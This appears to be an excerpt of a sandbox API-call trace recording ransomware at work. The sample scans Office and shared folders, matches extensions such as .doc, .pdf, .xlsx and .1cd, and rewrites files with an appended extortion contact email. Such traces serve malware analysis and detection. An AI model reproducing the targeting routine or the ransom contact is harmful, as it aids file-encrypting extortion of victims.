	[0193.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0193.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0193.499] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.499] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0193.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099185.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099185.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0193.500] GetLastError () returned 0x0
	[0193.500] ReadFile (in: hFile=0x394, lpBuffer=0x3707020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesRead=0x2befecc*=0xcd2, lpOverlapped=0x0) returned 1
	[0193.500] WriteFile (hFile=0x398, lpBuffer=0x3707020, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0) 

Thread:
	id = 92
	os_tid = 0xf44

	[0187.662] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10000) returned 0x818460
	[0187.662] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10000) returned 0x828468
	[0187.663] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b21c0
	[0187.663] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x6) returned 0x7a58a0
	[0187.663] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b22b0
	[0187.663] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x100000) returned 0x381f020
	[0187.665] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b2100
	[0187.665] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7b2100, Size=0x20) returned 0x78dc88
	[0187.665] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7b20d0
	[0187.665] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x7b20d0, Size=0x20) returned 0x78dbc0
	[0187.666] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0187.666] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0187.666] Wow64DisableWow64FsRedirection (in: OldValue=0x2d2ff50 | out: OldValue=0x2d2ff50*=0x0) returned 1
	[0187.666] lstrlenW (lpString="kernel32.dll") returned 12
	[0187.666] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78dc88 | out: hHeap=0x750000) returned 1
	[0187.666] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0187.666] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x78dbc0 | out: hHeap=0x750000) returned 1
	[0187.666] Sleep (dwMilliseconds=0x64) 
	[0188.265] Sleep (dwMilliseconds=0x64) 
	[0188.585] Sleep (dwMilliseconds=0x64) 
	[0189.012] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0189.012] lstrlenW (lpString="ipssrb.xml") returned 10
	[0189.012] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.012] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=2568) returned 1
	[0189.012] CloseHandle (hObject=0x370) returned 1
	[0189.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml")) returned 0x20
	[0189.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.013] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61
	[0189.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61
	[0189.013] lstrlenW (lpString=".doc") returned 4
	[0189.013] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0189.013] lstrlenW (lpString=".docx") returned 5
	[0189.013] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1
	[0189.013] lstrlenW (lpString=".pdf") returned 4
	[0189.013] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0189.013] lstrlenW (lpString=".xls") returned 4
	[0189.013] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0189.013] lstrlenW (lpString=".xlsx") returned 5
	[0189.013] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1
	[0189.013] lstrlenW (lpString=".ppt") returned 4
	[0189.013] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0189.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61
	[0189.013] lstrlenW (lpString=".zip") returned 4
	[0189.013] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0189.013] lstrlenW (lpString=".rar") returned 4
	[0189.013] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0189.013] lstrlenW (lpString=".bz2") returned 4
	[0189.013] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0189.013] lstrlenW (lpString=".7z") returned 3
	[0189.013] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0189.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61
	[0189.013] lstrlenW (lpString=".dbf") returned 4
	[0189.013] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0189.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61
	[0189.013] lstrlenW (lpString=".1cd") returned 4
	[0189.013] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0189.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61
	[0189.013] lstrlenW (lpString=".jpg") returned 4
	[0189.013] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0189.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61
	[0189.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61
	[0189.014] lstrlenW (lpString=".doc") returned 4
	[0189.014] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0189.014] lstrlenW (lpString=".docx") returned 5
	[0189.014] lstrcmpiW (lpString1=".docx", lpString2="b.xml") returned -1
	[0189.014] lstrlenW (lpString=".pdf") returned 4
	[0189.014] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0189.014] lstrlenW (lpString=".xls") returned 4
	[0189.014] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0189.014] lstrlenW (lpString=".xlsx") returned 5
	[0189.014] lstrcmpiW (lpString1=".xlsx", lpString2="b.xml") returned -1
	[0189.014] lstrlenW (lpString=".ppt") returned 4
	[0189.014] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0189.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61
	[0189.014] lstrlenW (lpString=".zip") returned 4
	[0189.014] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0189.014] lstrlenW (lpString=".rar") returned 4
	[0189.014] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0189.014] lstrlenW (lpString=".bz2") returned 4
	[0189.014] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0189.014] lstrlenW (lpString=".7z") returned 3
	[0189.014] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0189.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61
	[0189.014] lstrlenW (lpString=".dbf") returned 4
	[0189.014] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0189.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61
	[0189.014] lstrlenW (lpString=".1cd") returned 4
	[0189.014] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0189.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrb.xml") returned 61
	[0189.014] lstrlenW (lpString=".jpg") returned 4
	[0189.014] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0189.014] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0189.015] lstrlenW (lpString="ipssrl.xml") returned 10
	[0189.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.015] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=2596) returned 1
	[0189.015] CloseHandle (hObject=0x370) returned 1
	[0189.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml")) returned 0x20
	[0189.015] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61
	[0189.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61
	[0189.015] lstrlenW (lpString=".doc") returned 4
	[0189.015] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0189.015] lstrlenW (lpString=".docx") returned 5
	[0189.015] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1
	[0189.015] lstrlenW (lpString=".pdf") returned 4
	[0189.016] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0189.016] lstrlenW (lpString=".xls") returned 4
	[0189.016] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0189.016] lstrlenW (lpString=".xlsx") returned 5
	[0189.016] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1
	[0189.016] lstrlenW (lpString=".ppt") returned 4
	[0189.016] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0189.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61
	[0189.016] lstrlenW (lpString=".zip") returned 4
	[0189.016] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0189.016] lstrlenW (lpString=".rar") returned 4
	[0189.016] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0189.016] lstrlenW (lpString=".bz2") returned 4
	[0189.016] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0189.016] lstrlenW (lpString=".7z") returned 3
	[0189.016] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0189.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61
	[0189.016] lstrlenW (lpString=".dbf") returned 4
	[0189.016] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0189.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61
	[0189.016] lstrlenW (lpString=".1cd") returned 4
	[0189.016] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0189.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61
	[0189.016] lstrlenW (lpString=".jpg") returned 4
	[0189.016] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0189.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61
	[0189.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61
	[0189.016] lstrlenW (lpString=".doc") returned 4
	[0189.016] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0189.016] lstrlenW (lpString=".docx") returned 5
	[0189.016] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1
	[0189.016] lstrlenW (lpString=".pdf") returned 4
	[0189.016] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0189.016] lstrlenW (lpString=".xls") returned 4
	[0189.016] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0189.016] lstrlenW (lpString=".xlsx") returned 5
	[0189.017] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1
	[0189.017] lstrlenW (lpString=".ppt") returned 4
	[0189.017] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0189.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61
	[0189.017] lstrlenW (lpString=".zip") returned 4
	[0189.017] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0189.017] lstrlenW (lpString=".rar") returned 4
	[0189.017] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0189.017] lstrlenW (lpString=".bz2") returned 4
	[0189.017] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0189.017] lstrlenW (lpString=".7z") returned 3
	[0189.017] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0189.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61
	[0189.017] lstrlenW (lpString=".dbf") returned 4
	[0189.017] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0189.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61
	[0189.017] lstrlenW (lpString=".1cd") returned 4
	[0189.017] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0189.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssrl.xml") returned 61
	[0189.017] lstrlenW (lpString=".jpg") returned 4
	[0189.017] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0189.017] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0189.017] lstrlenW (lpString="ipssve.xml") returned 10
	[0189.017] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.018] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=2520) returned 1
	[0189.018] CloseHandle (hObject=0x370) returned 1
	[0189.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20
	[0189.018] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61
	[0189.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61
	[0189.018] lstrlenW (lpString=".doc") returned 4
	[0189.018] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0189.018] lstrlenW (lpString=".docx") returned 5
	[0189.018] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0189.018] lstrlenW (lpString=".pdf") returned 4
	[0189.018] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0189.018] lstrlenW (lpString=".xls") returned 4
	[0189.018] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0189.018] lstrlenW (lpString=".xlsx") returned 5
	[0189.018] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0189.018] lstrlenW (lpString=".ppt") returned 4
	[0189.018] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0189.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61
	[0189.018] lstrlenW (lpString=".zip") returned 4
	[0189.018] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0189.018] lstrlenW (lpString=".rar") returned 4
	[0189.018] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0189.018] lstrlenW (lpString=".bz2") returned 4
	[0189.018] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0189.019] lstrlenW (lpString=".7z") returned 3
	[0189.019] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0189.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61
	[0189.019] lstrlenW (lpString=".dbf") returned 4
	[0189.019] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0189.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61
	[0189.019] lstrlenW (lpString=".1cd") returned 4
	[0189.019] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0189.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61
	[0189.019] lstrlenW (lpString=".jpg") returned 4
	[0189.019] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0189.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61
	[0189.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61
	[0189.019] lstrlenW (lpString=".doc") returned 4
	[0189.019] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0189.019] lstrlenW (lpString=".docx") returned 5
	[0189.019] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0189.019] lstrlenW (lpString=".pdf") returned 4
	[0189.019] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0189.019] lstrlenW (lpString=".xls") returned 4
	[0189.019] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0189.019] lstrlenW (lpString=".xlsx") returned 5
	[0189.019] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0189.019] lstrlenW (lpString=".ppt") returned 4
	[0189.019] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0189.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61
	[0189.019] lstrlenW (lpString=".zip") returned 4
	[0189.019] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0189.019] lstrlenW (lpString=".rar") returned 4
	[0189.019] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0189.019] lstrlenW (lpString=".bz2") returned 4
	[0189.019] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0189.019] lstrlenW (lpString=".7z") returned 3
	[0189.019] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0189.019] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61
	[0189.019] lstrlenW (lpString=".dbf") returned 4
	[0189.020] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0189.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61
	[0189.020] lstrlenW (lpString=".1cd") returned 4
	[0189.020] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0189.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipssve.xml") returned 61
	[0189.020] lstrlenW (lpString=".jpg") returned 4
	[0189.020] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0189.020] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0189.020] lstrlenW (lpString="ipstr.xml") returned 9
	[0189.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0189.020] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=2720) returned 1
	[0189.020] CloseHandle (hObject=0x370) returned 1
	[0189.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml")) returned 0x20
	[0189.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0189.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipstr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0189.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60
	[0189.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60
	[0189.021] lstrlenW (lpString=".doc") returned 4
	[0189.021] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0189.021] lstrlenW (lpString=".docx") returned 5
	[0189.021] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1
	[0189.021] lstrlenW (lpString=".pdf") returned 4
	[0189.021] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0189.021] lstrlenW (lpString=".xls") returned 4
	[0189.021] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0189.021] lstrlenW (lpString=".xlsx") returned 5
	[0189.021] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1
	[0189.021] lstrlenW (lpString=".ppt") returned 4
	[0189.021] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0189.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60
	[0189.021] lstrlenW (lpString=".zip") returned 4
	[0189.021] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0189.021] lstrlenW (lpString=".rar") returned 4
	[0189.021] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0189.021] lstrlenW (lpString=".bz2") returned 4
	[0189.021] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0189.021] lstrlenW (lpString=".7z") returned 3
	[0189.021] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0189.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60
	[0189.021] lstrlenW (lpString=".dbf") returned 4
	[0189.021] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0189.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60
	[0189.021] lstrlenW (lpString=".1cd") returned 4
	[0189.021] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0189.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60
	[0189.021] lstrlenW (lpString=".jpg") returned 4
	[0189.021] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0189.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60
	[0189.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60
	[0189.022] lstrlenW (lpString=".doc") returned 4
	[0189.022] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0189.022] lstrlenW (lpString=".docx") returned 5
	[0189.022] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1
	[0189.022] lstrlenW (lpString=".pdf") returned 4
	[0189.022] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0189.022] lstrlenW (lpString=".xls") returned 4
	[0189.022] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0189.022] lstrlenW (lpString=".xlsx") returned 5
	[0189.022] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1
	[0189.022] lstrlenW (lpString=".ppt") returned 4
	[0189.022] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0189.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60
	[0189.022] lstrlenW (lpString=".zip") returned 4
	[0189.022] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0189.022] lstrlenW (lpString=".rar") returned 4
	[0189.022] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0189.022] lstrlenW (lpString=".bz2") returned 4
	[0189.022] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0189.022] lstrlenW (lpString=".7z") returned 3
	[0189.022] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0189.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipstr.xml") returned 60
	[0189.022] lstrlenW (lpString=".dbf") returned 4
	[0189.022] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
